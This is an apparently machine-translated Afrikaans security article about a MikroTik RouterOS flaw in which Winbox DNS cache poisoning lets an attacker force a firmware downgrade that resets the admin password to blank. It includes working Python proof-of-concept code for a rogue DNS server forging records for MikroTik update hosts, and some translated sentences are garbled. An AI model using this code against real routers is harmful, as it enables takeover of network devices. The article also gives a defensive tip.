Backport-kwesbaarheid in RouterOS bedreig Honderde Duisende toestelle

Backport-kwesbaarheid in RouterOS bedreig Honderde Duisende toestelle

Die vermoë om toestelle op afstand af te gradeer gebaseer op RouterOS (Mikrotik) stel honderdduisende netwerktoestelle in gevaar. Die kwesbaarheid hou verband met die vergiftiging van die DNS-kas van die Winbox-protokol en laat jou toe om verouderde (met 'n verstekwagwoordterugstelling) of gewysigde firmware na die toestel af te laai.

Backport-kwesbaarheid in RouterOS bedreig Honderde Duisende toestelle

Besonderhede van die kwesbaarheid

Die RouterOS-terminaal ondersteun die oplossing-opdrag vir DNS-opsoeke.

Backport-kwesbaarheid in RouterOS bedreig Honderde Duisende toestelle

Hierdie versoek word deur 'n binêre benoemde resolver hanteer. Resolver is een van die vele binaries wat aan RouterOS se Winbox-protokol gekoppel is. Op 'n hoë vlak kan "boodskappe" wat na 'n Winbox-poort gestuur word, na verskeie binaries in RouterOS gestuur word, gebaseer op 'n skikking-gebaseerde nommerskema.

Die DNS-bedienerkenmerk is by verstek in RouterOS gedeaktiveer.

Backport-kwesbaarheid in RouterOS bedreig Honderde Duisende toestelle

Selfs met die bedienerfunksie gedeaktiveer, behou die router egter sy eie DNS-kas.

Backport-kwesbaarheid in RouterOS bedreig Honderde Duisende toestelle

Wanneer ons 'n versoek rig met behulp van winbox_dns_request soos example.com, sal die router die resultaat kas.

Backport-kwesbaarheid in RouterOS bedreig Honderde Duisende toestelle

Aangesien ons die DNS-bediener kan spesifiseer waardeur die versoek moet gaan, is dit onbenullig om verkeerde adresse in te voer. U kan byvoorbeeld die implementering van die DNS-bediener vanaf Philip Clausom altyd te antwoord met 'n A-rekord wat die IP-adres 192.168.88.250 bevat.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

As jy nou Winbox gebruik om byvoorbeeld.com te soek, kan jy sien dat die DNS-kas van die router vergiftig is.

Backport-kwesbaarheid in RouterOS bedreig Honderde Duisende toestelle

Natuurlik is vergiftiging example.com nie baie nuttig nie, aangesien die router dit nie eintlik sal gebruik nie. Die router moet egter toegang hê tot upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com en download.mikrotik.com. En danksy nog 'n fout is dit moontlik om hulle almal op een slag te vergiftig.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Die router versoek een toelae, en ons gee vyf terug. Die roeteerder kas al hierdie antwoorde verkeerd.

Backport-kwesbaarheid in RouterOS bedreig Honderde Duisende toestelle

Dit is duidelik dat hierdie aanval ook nuttig is as die router as 'n DNS-bediener optree, aangesien dit die aanval van die router se kliënte moontlik maak.

Hierdie aanval maak dit ook moontlik om 'n ernstiger kwesbaarheid uit te buit: die weergawe van RouterOS afgradeer of terugporteer. Die aanvaller herskep die opdateringsbedienerlogika, insluitend die veranderingslogboek, en dwing RouterOS om die verouderde (kwesbare) weergawe as bygewerk te aanvaar. Die gevaar hier lê in die feit dat wanneer jy die weergawe “opgradeer”, die administrateurwagwoord teruggestel word na die “verstek” waarde – 'n aanvaller kan met 'n leë wagwoord aanmeld!


Die aanval werk nogal, ten spyte daarvan skrywer implementeer verskeie meer vektore wat onder andere verband hou met 'n agterdeur in die firmware in te bed, maar dit is reeds oortollige tegnologie en die gebruik daarvan vir onwettige doeleindes is onwettig.

beskerming

Deur Winbox eenvoudig te deaktiveer help om teen hierdie aanvalle te beskerm. Ten spyte van die gerief van administrasie deur Winbox, is dit beter om die SSH-protokol te gebruik.

Bron: will.com

Voeg 'n opmerking